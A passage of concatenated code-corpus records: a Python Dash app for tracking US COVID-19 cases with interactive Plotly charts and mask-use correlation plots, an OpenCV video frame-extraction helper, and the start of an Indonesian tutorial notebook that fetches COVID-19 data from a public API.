importance to understand and project the trend of COVID-19 cases in US\n        so that policy-makers can come up with short-term and long-term strategies to limit the spread and\n        mitigate the effect of another outbreak in the near future.\n\n        **US COVID-19 tracker is also a tool to assist making strategies.**\n        It can be used to understand what factors might affect the spread of the pandemic in US\n        and project the trend if more precautions and restrictions are imposed.\n\n        ## Data Source\n        Covid-19 tracker mainly utilizes historical and live covid-19 data from\n        [New York Times github repository](https://github.com/nytimes/covid-19-data).\n        The hirarchical case and death [data](https://raw.githubusercontent.com/nytimes/covid-19-data/master/us.csv)\n        **is regularly updated every day**.\n\n        Also, the data for state and county population is merged to obtain the positive rate over population at different\n        geographical levels.\n\n        Additionally, the [survey data](https://raw.githubusercontent.com/nytimes/covid-19-data/master/mask-use/mask-use-by-county.csv)\n        by New York time on maks use by county is investigated to see if there exists a\n        correlation between the outbreak and mask use frequency in each state. All data sets in this project are well-structured.\n        ''', className='eleven columns', style={'paddingLeft': '5%'})], className=\"row\")\n\n\ndef visualization_description():\n    \"\"\"\n    Returns the text and plots of EDA and interactive visualization of this project.\n    \"\"\"\n    return html.Div(children=[\n      dcc.Markdown('''\n            ## EDA & Interactive Visualization\n            This project uses `Dash` and `Plotly` for visualization. We use the\n            high-level components/tools in Dash to provide compact figures which allow user\n            to choose what to display. For example, we utilized radio items to select targets\n            (case or death number), dropdown layout to select the state, and slider to select\n            time points.\n\n            Curve plots are used to show the time variation of cumulative and daily reported\n            cases and deaths for the  national-level and state-level covid-19 data. Heat maps are used\n            to track the outbreak geographically.\n\n        ''', className='row eleven columns', style={'paddingLeft': '5%'}),\n    ]\n    )\n\ndef enhancement_description():\n    \"\"\"\n    Returns the text and plots of Enhancements of this project.\n    \"\"\"\n    return html.Div(children=[\n      dcc.Markdown('''\n      ## Enhancement\n      Public health experts suggest that face coverings can substantially slow the transmission\n      of covid. In this section, we firstly use a heatmap to show the propensity of people to wear\n      masks in each county. This heat map is based on the survey data from a large number of interviews\n      conducted by the global data and survey firm Dynata at the request of The New York Times.\n\n      Next, we attempt to understand what factors might affect the spread of the pandamic in US states.\n      For this analysis, we select two responsive variables including case fatality rate and infection rate,\n      and two predictors, namely average wear-mask probability and population density. A simple and intuitive\n      linear correlation analysis is conducted. For Covid data, we use the latest state-level data for demonstration.\n      In order to obtain the state-level mask-use data, the county-level data is aggregated over states and we take\n      the average of features in each state to get the state-level features.\n\n        ''', className='row eleven columns', style={'paddingLeft': '5%'}),\n    ]\n    )\n\n\n# Defines the dependencies of interactive components\n@app.callback(Output('time-series-total', 'figure'),\n             Input('target-label', 'value'))\ndef time_series_cumulative(label):\n    df = df_dict['covid-us']\n    x = df['date']\n    trace = go.Scatter(x=x, y=df[label], mode='lines', name=label, fill='tozeroy',\n                       fillcolor=colors[label],\n                       line={'width': 2, 'color': colors[label]},\n                       hovertemplate='%{x|%b %d, %Y} <br> %{y:-.0f}'\n                      )\n\n    title = f'Cumulative Covid {label.lower()} in U.S. over time'\n    layout = dict(title=title,\n                  yaxis_title=f'# of {label}',\n                  xaxis_title='Date/Time',\n                  font=dict(family=\"Courier New, monospace\",\n                            size=16))\n    data = [trace]\n    fig = dict(data=data, layout=layout)\n    return fig\n\n@app.callback(Output('time-series-daily', 'figure'),\n             Input('daily-label', 'value'))\ndef time_series_daily(label, window_size=7):\n    df = df_dict['covid-us']\n    x = df['date']\n    daily = daily_increase(df[label])\n    moving_avg = moving_average(daily, window_size)\n\n    trace1 = go.Bar(x=x, y=daily, name=f'Daily new {label}',\n                    marker = dict(color = colors_bar[label],\n                                  line=dict(color=colors_bar[label],width=1.5),\n                                  opacity=0.2),\n                    hovertemplate='%{x|%b %d, %Y} <br>Daily: %{y:-.0f}'\n                   )\n    trace2 = go.Scatter(x=x, y=moving_avg,\n                        name=f'Moving average in {window_size} days',\n                        line={'width':3, 'color': colors_line[label]},\n                        hovertemplate='Moving average: %{y:-.0f}'\n                        )\n\n    title = f'Daily reported new Covid {label.lower()} in U.S. over time'\n    layout = dict(title=title,\n                  yaxis_title=f'# of {label} per day',\n                  xaxis_title='Date/Time',\n                  font=dict(family=\"Courier New, monospace\",\n                            size=16),\n                  hoverlabel=dict(\n                            bgcolor=\"white\",\n                            font_size=16,\n                            font_family=\"Rockwell\"),\n                  hovermode='x Unified',\n                  legend=dict(\n                        yanchor=\"top\",\n                        y=0.99,\n                        xanchor=\"left\",\n                        x=0.01)\n                 )\n    data = [trace1, trace2]\n    fig = dict(data=data, layout=layout)\n    return fig\n\n@app.callback(Output('time-series-state', 'figure'),\n            Input('plot-type', 'value'),\n            Input('state-name', 'value'),\n            Input('label-by-state', 'value'),\n             )\ndef time_series_state(plot_type='daily', state_name='Rhode Island', label='cases',):\n#     print(label, plot_type, state_name)\n    df = df_dict['covid-us-state']\n    df['state_code'] = df['state'].apply(lambda x: state_code_dict[x])\n    state_code = state_code_dict[state_name]\n    df_state = df[df.state_code == state_code]\n    state = state_name\n    df_state = df_state.sort_values(by='date')\n    df_state = pd.DataFrame(df_state, columns=df_state.columns)\n    x = df_state.date\n    y = df_state[label].values\n    if plot_type == 'daily':\n        window_size = 7\n        daily_cases = daily_increase(y)\n        moving_avg = moving_average(daily_cases, window_size)\n        trace_bar = go.Bar(x=x, y=daily_cases, name=f'Daily new {label}',\n                    marker = dict(color = colors_bar[label],\n                                  line=dict(color=colors_bar[label],width=1.5),\n                                  opacity=0.2),\n                    hovertemplate='Date: %{x|%A, %b %d, %Y} <br> Daily increase : %{y:.0f}'\n                   )\n        trace_line = go.Scatter(\n            x=x,\n            y=moving_avg,\n            name=f'Moving average in {window_size} days',\n            line={'width':1.5, 'color': colors_line[label]},\n            hovertemplate='7 Day Avg. : %{y:.0f}')\n        title = f'Daily reported new Covid {label.lower()} in {state}'\n        layout = dict(title=title,\n              yaxis_title=f'# of {label} per day',\n              xaxis_title='Date/Time',\n              font=dict(family=\"Courier New, monospace\",\n                        size=16),\n              hoverlabel=dict(\n                bgcolor=\"white\",\n                font_size=16,\n                font_family=\"Rockwell\"),\n              hovermode='x Unified',\n              legend=dict(\n                        yanchor=\"top\",\n                        y=0.99,\n                        xanchor=\"left\",\n                        x=0.01))\n        fig = dict(data=[trace_bar, trace_line], layout=layout)\n        return fig\n    elif plot_type == 'cumulative':\n        trace = go.Scatter(x=x, y=y, mode='lines', name=label, fill='tozeroy',\n                       fillcolor=colors[label],\n                       line={'width': 2, 'color': colors[label]},\n                       hovertemplate='%{x|%b %d, %Y} <br> %{y:-.0f}'\n                      )\n\n        title = f'Cumulative Covid {label.lower()} in {state}'\n        layout = dict(title=title,\n                      yaxis_title=f'Confirmed # of {label}',\n                      xaxis_title='Date/Time',\n                      font=dict(family=\"Courier New, monospace\",\n                                size=16))\n        data = [trace]\n        fig = dict(data=data, layout=layout)\n        return fig\n\n\n@app.callback(Output('heat-map-by-state', 'figure'),\n              Input('label-radioitems', 'value'))\ndef heat_map(label):\n    \"\"\"Create the heap map of given label in US at the beginning of given month\"\"\"\n    df = df_dict['covid-us-state']\n    df['month'] = df.date.dt.month_name()\n    df['state_code'] = df['state'].apply(lambda x: get_state_codes(x))\n    df_month = df[((df.date.dt.day == 1) | (df.date == max(df.date)))]\n    fig = px.choropleth(df_month,\n                    locations='state_code',\n                    locationmode=\"USA-states\",\n                    scope=\"usa\",\n                    color=label, # a column in the dataset\n                    hover_name='state', # column to add to hover information\n                    hover_data = {'cases': ':.0f', 'deaths': ':.0f', 'state_code': False, 'month': False},\n                    color_continuous_scale=px.colors.sequential.Sunsetdark if \\\n                        label == 'cases' else px.colors.sequential.Greys,\n                    animation_group='state',\n                    animation_frame='month'\n                   )\n    fig.update_layout(title_text=f\"Heat Map - Total {label.title()} in US States\"),\n    fig.update_layout(margin={\"r\":0,\"l\":0,\"b\":0})\n    fig.update_layout(transition_duration=500)\n\n    last_frame_num = len(fig.frames) -1\n\n    fig.layout['sliders'][0]['active'] = last_frame_num\n\n    fig = go.Figure(data=fig['frames'][-1]['data'], frames=fig['frames'], layout=fig.layout)\n    fig.update_coloraxes(colorbar_title=f\"<b>Color</b><br>Confirmed {label.title()}\")\n    fig.layout.pop('updatemenus')\n    return fig\n\n\ndef heat_map_mask_use():\n    df = df_dict['mask-use-by-county']\n    df['countyfp'] = df['countyfp'].apply(lambda x: str(int(x)).zfill(5))\n    df['wear_mask_prob'] = 0.25 * df['rarely'] + 0.5 * df['sometimes'] + \\\n                0.75 * df['frequently'] + 1.0 * df['always']\n    df['county'] = df.apply(lambda x: fip_to_county(x.countyfp), axis=1)\n    df['state_code'] = df.apply(lambda x: fip_to_state(x.countyfp), axis=1)\n    df = df.drop(df[df['state_code'] == 'N/A'].index).reset_index(drop=True)\n    df['state'] = df['state_code'].apply(lambda x: state_map_dict[x])\n    fig = px.choropleth(df,\n                        locations='countyfp',\n                        geojson=county_json,\n                        scope=\"usa\",\n                        color='wear_mask_prob', # a column in the dataset\n                        hover_name='state', # column to add to hover information\n                        hover_data = {'county': True, 'countyfp': False, 'wear_mask_prob': ':.3f'},\n                        color_continuous_scale=px.colors.sequential.Reds,\n                       )\n    fig.update_layout(title_text=\"Heat Map - Who is Wearing Masks in US Counties\"),\n    fig.update_coloraxes(colorbar_title=\"<b>Color</b><br>Wear Mask Prob\")\n    #fig.update(layout_coloraxis_showscale=False)\n    fig.update_layout(margin={\"r\":0,\"l\":0,\"b\":0})\n    return fig\n\ndef scatter_matrix():\n    df = df_dict['covid-us-state']\n    df.fips = df.fips.apply(lambda x: str(x).zfill(2))\n    df = df[df.date == max(df.date)]\n    df = df.drop(columns='date', axis=1).reset_index(drop=True)\n    state_pop = df_dict['state-population']\n    state_area =  df_dict['state-area']\n\n    mask_use = df_dict['mask-use-by-county']\n    mask_use.countyfp = mask_use.countyfp.apply(lambda x: str(x).zfill(5))\n    mask_use['wear_mask_prob'] = 0.25 * mask_use['rarely'] + 0.5 * mask_use['sometimes'] + \\\n                    0.75 * mask_use['frequently'] + 1.0 * mask_use['always']\n    mask_use['state_code'] = mask_use.apply(lambda x: fip_to_state(x.countyfp), axis=1)\n    mask_use['county'] = mask_use.apply(lambda x: fip_to_county(x.countyfp), axis=1)\n    df_agg = mask_use.groupby('state_code').agg(['mean'])\n    df_agg.columns = [\"_\".join(x) for x in np.ravel(df_agg.columns)]\n    df_agg.reset_index(inplace=True)\n    df_agg.rename(columns={'wear_mask_prob_mean' : 'wear_mask_prob'}, inplace=True)\n    df_agg = df_agg[['state_code', 'wear_mask_prob']]\n    df_agg.drop(df_agg[df_agg['state_code'] == 'N/A'].index, inplace = True)\n    df_agg.drop(df_agg[df_agg['state_code'] == 'DC'].index, inplace = True)\n    df_agg['state'] = df_agg['state_code'].apply(lambda x: state_map_dict[x])\n    df_agg = df_agg[['state', 'wear_mask_prob']]\n    data_frames = [df, state_pop, state_area, df_agg]\n    df_merged = reduce(lambda left, right: pd.merge(left,right,on=['state'],\n                                                how='inner'), data_frames)\n\n    df_merged['CFR'] = df_merged['deaths'] / df_merged['cases']\n    df_merged['IR'] = df_merged['cases'] / df_merged['total']\n    df_merged['PD'] = df_merged['total'] / df_merged['area']\n    df_merged['WMP'] = df_merged['wear_mask_prob']\n    df_ana = df_merged.loc[:, ['state', 'CFR', 'IR', 'PD', 'WMP']]\n    df_ana[['CFR', 'IR', 'PD', 'WMP']] = np.round(df_ana[['CFR', 'IR', 'PD', 'WMP']], 3)\n\n    fig = go.Figure(data=go.Splom(\n                dimensions=[dict(label='CFR', # 'Fatality rate',\n                                 values=df_ana['CFR']),\n                            dict(label='IR', #'Infection rate',\n                                 values=df_ana['IR']),\n                            dict(label='PD', #'Population density',\n                                 values=df_ana['PD']),\n                            dict(label='WMP', #'Wear mask prob.',\n                                 values=df_ana['WMP'])],\n                text=df_ana['state'],\n#                 hovertemplate=\"%{x}, %{y}\",\n                marker=dict(showscale=False, # colors encode categorical variables\n                            line_color='white', line_width=0.5),\n                showupperhalf=False,\n                ))\n\n    fig.update_layout(\n    title='Scatter Matrix',\n    dragmode='select',\n    width=600,\n    height=600,\n    hovermode='closest',\n    )\n    return fig\n\n\ndef correlation_matrix():\n    df = df_dict['covid-us-state']\n    df.fips = df.fips.apply(lambda x: str(x).zfill(2))\n    df = df[df.date == max(df.date)]\n    df = df.drop(columns='date', axis=1).reset_index(drop=True)\n    state_pop = df_dict['state-population']\n    state_area =  df_dict['state-area']\n\n    mask_use = df_dict['mask-use-by-county']\n    mask_use.countyfp = mask_use.countyfp.apply(lambda x: str(x).zfill(5))\n    mask_use['wear_mask_prob'] = 0.25 * mask_use['rarely'] + 0.5 * mask_use['sometimes'] + \\\n                    0.75 * mask_use['frequently'] + 1.0 * mask_use['always']\n    mask_use['state_code'] = mask_use.apply(lambda x: fip_to_state(x.countyfp), axis=1)\n    mask_use['county'] = mask_use.apply(lambda x: fip_to_county(x.countyfp), axis=1)\n    df_agg = mask_use.groupby('state_code').agg(['mean'])\n    df_agg.columns = [\"_\".join(x) for x in np.ravel(df_agg.columns)]\n    df_agg.reset_index(inplace=True)\n    df_agg.rename(columns={'wear_mask_prob_mean' : 'wear_mask_prob'}, inplace=True)\n    df_agg = df_agg[['state_code', 'wear_mask_prob']]\n    df_agg.drop(df_agg[df_agg['state_code'] == 'N/A'].index, inplace = True)\n    df_agg.drop(df_agg[df_agg['state_code'] == 'DC'].index, inplace = True)\n    df_agg['state'] = df_agg['state_code'].apply(lambda x: state_map_dict[x])\n    df_agg = df_agg[['state', 'wear_mask_prob']]\n    data_frames = [df, state_pop, state_area, df_agg]\n    df_merged = reduce(lambda left, right: pd.merge(left,right,on=['state'],\n                                                how='inner'), data_frames)\n\n    df_merged['CFR'] = df_merged['deaths'] / df_merged['cases']\n    df_merged['IR'] = df_merged['cases'] / df_merged['total']\n    df_merged['PD'] = df_merged['total'] / df_merged['area']\n    df_merged['WMP'] = df_merged['wear_mask_prob']\n    df_ana = df_merged.loc[:, ['state', 'CFR', 'IR', 'PD', 'WMP']]\n    df_ana[['CFR', 'IR', 'PD', 'WMP']] = np.round(df_ana[['CFR', 'IR', 'PD', 'WMP']], 3)\n    df_corr = df_ana[['CFR', 'IR', 'PD', 'WMP']].corr()\n\n    fig = go.Figure(data=go.Heatmap(z=df_corr,\n                                    x=['CFR', 'IR', 'PD', 'WMP'],\n                                    y=['CFR', 'IR', 'PD', 'WMP'],\n                                    colorscale='Blues',\n                                   hovertemplate=\" Corr(%{x}, %{y}) = %{z:.2f}\"),\n                   )\n    fig.update_layout(\n        title='Correlation Matrix',\n        height=600,\n        width=600,\n        )\n    return fig\n\n\ndef architecture_summary():\n    \"\"\"\n    Returns the text and image of architecture summary of the project.\n    \"\"\"\n    return html.Div(children=[\n        dcc.Markdown('''\n            ## Project Architecture\n            This project uses MongoDB as the database. All data acquired are stored in raw form to the\n            database (with de-duplication). An abstract layer is built in `database.py` so all queries\n            can be done via function call. For a more complicated app, the layer will also be\n            responsible for schema consistency. A `plot.ly` & `dash` app is serving this web page\n            through. Actions on responsive components on the page is redirected to `app.py` which will\n            then update certain components on the page.\n        ''', className='row eleven columns', style={'paddingLeft': '5%'}),\n\n        html.Div(children=[\n            html.Img(src=\"https://docs.google.com/drawings/d/e/2PACX-1vQNerIIsLZU2zMdRhIl3ZZkDMIt7jhE_fjZ6ZxhnJ9bKe1emPcjI92lT5L7aZRYVhJgPZ7EURN0AqRh/pub?w=670&amp;h=457\",\n                     className='row'),\n        ], className='row', style={'textAlign': 'center'}),\n\n        dcc.Markdown('''\n\n        ''')\n    ], className='row')\n\n\ndef visualization_summary():\n    \"\"\"\n    All EDA figures should be arranged in this function.\n    \"\"\"\n    return html.Div(children=[\n        dcc.Markdown('''\n        ### US Case and Death Count\n        ''', className='row eleven columns', style={'paddingLeft': '5%'}),\n\n            # Time series curves for cumulative cases and deaths in US\n            dcc.Markdown('''\n            #### Time-series cumulative cases and deaths\n            ''', className='row eleven columns', style={'paddingLeft': '5%'}),\n\n            html.Div([\n                html.Div([\n                    html.Label( ['Label:'],\n                        style={'font-weight': 'bold', 'float': 'left',\n                               'color': 'white', 'display': 'inline-block',\n                               },\n                        ),\n                    dcc.RadioItems(\n                        id='target-label',\n                        options=[{'label': i.title(), 'value': i} for i in ['cases', 'deaths']],\n                        value='cases',\n                        labelStyle={\n                        'display': 'inline-block',\n                        },\n                        style={\n                        'width': '20%',\n                        'float': 'left',\n                        'font-weight': 'bold',\n                        'color': 'white',\n                        }),],  style={'width': '98%', 'display': 'inline-block'}),\n                dcc.Graph(id='time-series-total', style={'height': 500, 'width': 1100})\n                ],\n                style={'width': '98%', 'float': 'right', 'display': 'inline-block'}),\n\n            # Time series curves for daily cases and deaths in US\n                    dcc.Markdown('''\n            #### Time-series daily reported cases and deaths\n            ''', className='row eleven columns', style={'paddingLeft': '5%'}),\n            html.Div([\n                html.Div([\n                    html.Label( ['Label:'],\n                        style={'font-weight': 'bold', 'float': 'left',\n                               'color': 'white', 'display': 'inline-block',\n                               },\n                        ),\n                    dcc.RadioItems(\n                        id='daily-label',\n                        options=[{'label': i.title(), 'value': i} for i in ['cases', 'deaths']],\n                        value='cases',\n                        labelStyle={\n                        'display': 'inline-block',\n                        },\n                        style={\n                        'width': '20%',\n                        'float': 'left',\n                        'font-weight': 'bold',\n                        'color': 'white',\n                        }),],  style={'width': '98%', 'display': 'inline-block'}),\n                dcc.Graph(id='time-series-daily', style={'height': 500, 'width': 1100})\n            ],\n                style={'width': '98%', 'float': 'right', 'display': 'inline-block'}),\n\n        dcc.Markdown('''\n        ### Case and Death Count by State\n        ''', className='row eleven columns', style={'paddingLeft': '0%'}),\n\n             # Time series curves for cases and deaths by state\n            dcc.Markdown('''\n            #### Time-series cases and deaths by state\n            ''', className='row eleven columns', style={'paddingLeft': '5%'}),\n\n            html.Div([\n                html.Div([\n                    html.Label( ['Label:'],\n                        style={'font-weight': 'bold', 'float': 'left',\n                               'color': 'white', 'display': 'inline-block',\n                               },\n                        ),\n                    dcc.RadioItems(\n                        id='label-by-state',\n                        options=[{'label': i.title(), 'value': i} for i in ['cases', 'deaths']],\n                        value='cases',\n                        labelStyle={\n                        'display': 'inline-block',\n                        },\n                        style={\n                        'width': '20%',\n                        'float': 'left',\n                        'font-weight': 'bold',\n                        'color': 'white',\n                        }),\n                    html.Label( ['Plot type:'],\n                        style={'font-weight': 'bold', 'float': 'left',\n                               'color': 'white', 'display': 'inline-block',\n                               },\n                        ),\n                    dcc.RadioItems(\n                        id='plot-type',\n                        options=[{'label': i.title(), 'value': i} for i in ['cumulative', 'daily']],\n                        value='daily',\n                        labelStyle={\n                        'display': 'inline-block',\n                        },\n                        style={\n                        'width': '20%',\n                        'float': 'left',\n                        'font-weight': 'bold',\n                        'color': 'white',\n                        }),\n                    html.Label( ['State:'],\n                        style={'font-weight': 'bold', 'float': 'left',\n                               'color': 'white', 'display': 'inline-block',\n                               'margin-right': '10px'\n                               },\n                        ),\n                    dcc.Dropdown(\n                        id='state-name',\n                        options=[{'label': i, 'value': i} for i in list(all_states)],\n                        value='Rhode Island',\n                        style={'width': '40%', 'float':'left', 'display': 'inline-block'}\n                    ),],  style={'width': '98%', 'display': 'inline-block'}),\n                dcc.Graph(id='time-series-state', style={'height': 500, 'width': 1100})\n                ],\n                style={'width': '98%', 'float': 'right', 'display': 'inline-block'}),\n\n            # Heat map by month\n            dcc.Markdown('''\n            #### Heat Map - Covid in US states\n            We use the state-level COVID-19 data to power the heat map and track the outbreak\n            over all states of US.\n            ''', className='row eleven columns', style={'paddingLeft': '0%'}),\n\n            html.Div([\n                html.Div([\n                    html.Label( ['Label:'],\n                        style={'font-weight': 'bold', 'float': 'left',\n                               'color': 'white', 'display': 'inline-block',\n                               },\n                        ),\n                    dcc.RadioItems(\n                        id='label-radioitems',\n                        options=[{'label': i.title(), 'value': i} for i in ['cases', 'deaths']],\n                        value='cases',\n                        labelStyle={\n                        'display': 'inline-block',\n                        },\n                        style={\n                        'width': '20%',\n                        'float': 'left',\n                        'font-weight': 'bold',\n                        'color': 'white',\n                        }),],  style={'width': '98%', 'display': 'inline-block'}),\n                dcc.Graph(id='heat-map-by-state', style={'height': 800, 'width': 1000})\n            ],\n                style={'width': '100%', 'float':'right', 'display': 'inline-block'}),\n\n    ])\n\ndef enhancement_summary():\n    \"\"\"\n    All Enhancement details should be arranged here.\n    \"\"\"\n    return html.Div(children=[\n         dcc.Markdown('''\n          ### Who is Wearing Masks in US Counties\uff1f\n         ''', className='row eleven columns', style={'paddingLeft': '6%'}),\n         dcc.Graph(id='mask-use-by-county', figure=heat_map_mask_use(),\n                   style={'height': 800, 'width': 1000, 'display': 'inline-block'}),\n\n         dcc.Markdown('''\n          ### Whether Population Density and Propensity of Wearing Masks Affect the Spread?\n         ''', className='row eleven columns', style={'paddingLeft': '0%'}),\n        html.Div([\n             html.Label( ['CFR: Case Fatality Rate'],\n                        style={'font-weight': 'bold', 'float': 'left',\n                               'color': 'white', 'display': 'inline-block',\n                               },\n                        ),\n             html.Label( ['IR: Infeaction Rate',],\n                        style={'font-weight': 'bold', 'float': 'left','margin-left': '100px',\n                               'color': 'white', 'display': 'inline-block',\n                               },\n                        ),\n             html.Label( ['PD: Population Density',],\n                        style={'font-weight': 'bold', 'float': 'left', 'margin-left': '100px',\n                               'color': 'white', 'display': 'inline-block',\n                               },\n                        ),\n             html.Label( ['WMP: Wear Mask Probability'],\n                style={'font-weight': 'bold', 'float': 'left','margin-left': '100px',\n                       'color': 'white', 'display': 'inline-block',\n                       },\n                ),\n             dcc.Graph(id='scatter-matrix', figure=scatter_matrix(),\n                       style={'width': '48%',  'display': 'inline-block'}),\n             dcc.Graph(id='correlation-matrix', figure=correlation_matrix(),\n                       style={'width': '48%', 'float':'right', 'display': 'inline-block'}),\n         ], style={'width': '100%',  'display': 'inline-block'}),\n    ]\n                   )\n\n# Sequentially add page components to the app's layout\ndef dynamic_layout():\n    return html.Div([\n        page_header(),\n        html.Hr(),\n        project_description(),\n        visualization_description(),\n        visualization_summary(),\n        enhancement_description(),\n        enhancement_summary(),\n        # architecture_summary(),\n    ], className='row', id='content')\n\n# set layout to a function which updates upon reloading\napp.layout = dynamic_layout\n\nif __name__ == '__main__':\n    app.run_server(debug=True, port=8888, host='0.0.0.0')", "meta": {"hexsha": "ab5c3babe9c0b54316e1607b2c454b5aca38aee8", "size": 31517, "ext": "py", "lang": "Python", "max_stars_repo_path": "app.py", "max_stars_repo_name": "cengc13/data1050-final-project", "max_stars_repo_head_hexsha": "2739afc418a2fc35b617e3c7c24cdebafc7b9e4a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "app.py", "max_issues_repo_name": "cengc13/data1050-final-project", "max_issues_repo_head_hexsha": "2739afc418a2fc35b617e3c7c24cdebafc7b9e4a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "app.py", "max_forks_repo_name": "cengc13/data1050-final-project", "max_forks_repo_head_hexsha": "2739afc418a2fc35b617e3c7c24cdebafc7b9e4a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 45.2180774749, "max_line_length": 171, "alphanum_fraction": 0.5277152013, "include": true, "reason": "import numpy", "num_tokens": 7065, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.41869690935568665, "lm_q2_score": 0.13660839354130014, "lm_q1q2_score": 0.05719751216778771}}
{"text": "import numpy as np\r\nimport cv2\r\n\r\ndef extract_frames(video_path, n_frames=15):\r\n    \"\"\"\r\n    Extract frames from a video. You can use either provided method here or implement your own method.\r\n\r\n    params:\r\n        - video_local_path (str): the path of video.\r\n    return:\r\n        - frames (list): a list containing frames extracted from the video.\r\n    \"\"\"\r\n    ########################################################################################################\r\n    # You can change the lines below to implement your own frame extracting method (and possibly other preprocessing),\r\n    # or just use the provided codes.\r\n    vid = cv2.VideoCapture(video_path)\r\n    frames = []\r\n\r\n    # while True:\r\n    #     success, frame = vid.read()\r\n    #     if not success:\r\n    #         break\r\n    #     if frame is not None:\r\n    #         frames.append(frame)\r\n    #     # Here, we extract one frame only without other preprocessing\r\n    #     if len(frames) >= n_frames:\r\n    #         break\r\n\r\n    v_len = int(vid.get(cv2.CAP_PROP_FRAME_COUNT))\r\n    sample = np.linspace(0, v_len - 1, n_frames).astype(int)\r\n    for j in range(v_len):\r\n        success = vid.grab()\r\n        if j in sample:\r\n            # Load frame\r\n            success, frame = vid.retrieve()\r\n            if not success:\r\n                continue\r\n            if frame is not None:\r\n                frames.append(frame)\r\n\r\n    vid.release()\r\n    return frames\r\n    ########################################################################################################\r\n", "meta": {"hexsha": "a4c69dbe46f4434e9d1b4b04c632c52ab165039b", "size": 1545, "ext": "py", "lang": "Python", "max_stars_repo_path": "detectors/boken/eval_kit/extract_frames.py", "max_stars_repo_name": "zhampel/FakeFinder", "max_stars_repo_head_hexsha": "2891a8649acc1dabdef07554d6acb346dd23dbae", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 26, "max_stars_repo_stars_event_min_datetime": "2021-05-19T17:24:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-29T16:46:23.000Z", "max_issues_repo_path": "detectors/boken/eval_kit/extract_frames.py", "max_issues_repo_name": "zhampel/FakeFinder", "max_issues_repo_head_hexsha": "2891a8649acc1dabdef07554d6acb346dd23dbae", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 37, "max_issues_repo_issues_event_min_datetime": "2021-03-11T18:44:08.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-30T02:47:53.000Z", "max_forks_repo_path": "detectors/boken/eval_kit/extract_frames.py", "max_forks_repo_name": "zhampel/FakeFinder", "max_forks_repo_head_hexsha": "2891a8649acc1dabdef07554d6acb346dd23dbae", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 12, "max_forks_repo_forks_event_min_datetime": "2021-03-01T17:45:17.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-06T23:32:39.000Z", "avg_line_length": 35.1136363636, "max_line_length": 119, "alphanum_fraction": 0.4964401294, "include": true, "reason": "import numpy", "num_tokens": 301, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.11436853825632723, "lm_q1q2_score": 0.057184269128163615}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # [Warming Up!](https://academy.dqlab.id/main/livecode/287/531/2651)\n\n# In[1]:\n\n\nbersatulawancovid = ['cuci tangan', 'pakai masker', 'jaga jarak']\nprint(bersatulawancovid)\n\n\n# # [Are You Ready?](https://academy.dqlab.id/main/livecode/287/531/2652)\n\n# In[2]:\n\n\nTrue\n\n\n# # [Mengakses API covid19.go.id](https://academy.dqlab.id/main/livecode/287/532/2653)\n\n# In[3]:\n\n\nimport requests\nresp = requests.get('https://data.covid19.go.id/public/api/update.json')\n\n\n# # [Status Code](https://academy.dqlab.id/main/livecode/287/532/2656)\n\n# In[4]:\n\n\nprint(resp)\n\n\n# # [Headers API](https://academy.dqlab.id/main/livecode/287/532/2657)\n\n# In[5]:\n\n\nprint(resp.headers)\n\n\n# # [Mengekstrak Isi Respon](https://academy.dqlab.id/main/livecode/287/532/2658)\n\n# In[6]:\n\n\ncov_id_raw  = resp.json()\n\n\n# # [Mengekstrak isi Respon - 2](https://academy.dqlab.id/main/livecode/287/532/2659)\n\n# In[7]:\n\n\nprint('Length of cov_id_raw : %d.' %len(cov_id_raw))\nprint('Komponen cov_id_raw  : %s.' %cov_id_raw.keys())\ncov_id_update = cov_id_raw['update']\n\n\n# # [Analisa Data](https://academy.dqlab.id/main/livecode/287/532/2660)\n\n# In[8]:\n\n\nprint('Tanggal pembaharuan data penambahan kasus :', cov_id_update['penambahan']['tanggal'])\nprint('Jumlah penambahan kasus sembuh :', cov_id_update['penambahan']['jumlah_sembuh'])\nprint('Jumlah penambahan kasus meninggal :', cov_id_update['penambahan']['jumlah_meninggal'])\nprint('Jumlah total kasus positif hingga saat ini :', cov_id_update['total']['jumlah_positif'])\nprint('Jumlah total kasus meninggal hingga saat ini:', cov_id_update['total']['jumlah_meninggal'])\n\n\n# # [Apa Kabar Jawa Barat?](https://academy.dqlab.id/main/livecode/287/533/2662)\n\n# In[9]:\n\n\nimport requests\nresp_jabar = requests.get('https://data.covid19.go.id/public/api/prov_detail_JAWA_BARAT.json')\ncov_jabar_raw = resp_jabar.json()\n\n\n# # [Memahami Kasus COVID-19 di Jawa Barat](https://academy.dqlab.id/main/livecode/287/533/2663)\n\n# In[10]:\n\n\nprint('Nama-nama elemen utama:\\n', cov_jabar_raw.keys())\nprint('\\nJumlah total kasus COVID-19 di Jawa Barat : %d' %cov_jabar_raw['kasus_total'])\nprint('Persentase kematian akibat COVID-19 di Jawa Barat : %f.2%%' %cov_jabar_raw['meninggal_persen'])\nprint('Persentase tingkat kesembuhan dari COVID-19 di Jawa Barat : %f.2%%' %cov_jabar_raw['sembuh_persen'])\n\n\n# # [Memperoleh Informasi yang Lebih Lengkap](https://academy.dqlab.id/main/livecode/287/533/2664)\n\n# In[11]:\n\n\nimport numpy as np\nimport pandas as pd\ncov_jabar = pd.DataFrame(cov_jabar_raw['list_perkembangan'])\nprint('Info cov_jabar:\\n', cov_jabar.info())\nprint('\\nLima data teratas cov_jabar:\\n', cov_jabar.head())\n\n\n# # [Menjinakkan Data](https://academy.dqlab.id/main/livecode/287/533/2665)\n\n# In[12]:\n\n\ncov_jabar_tidy = 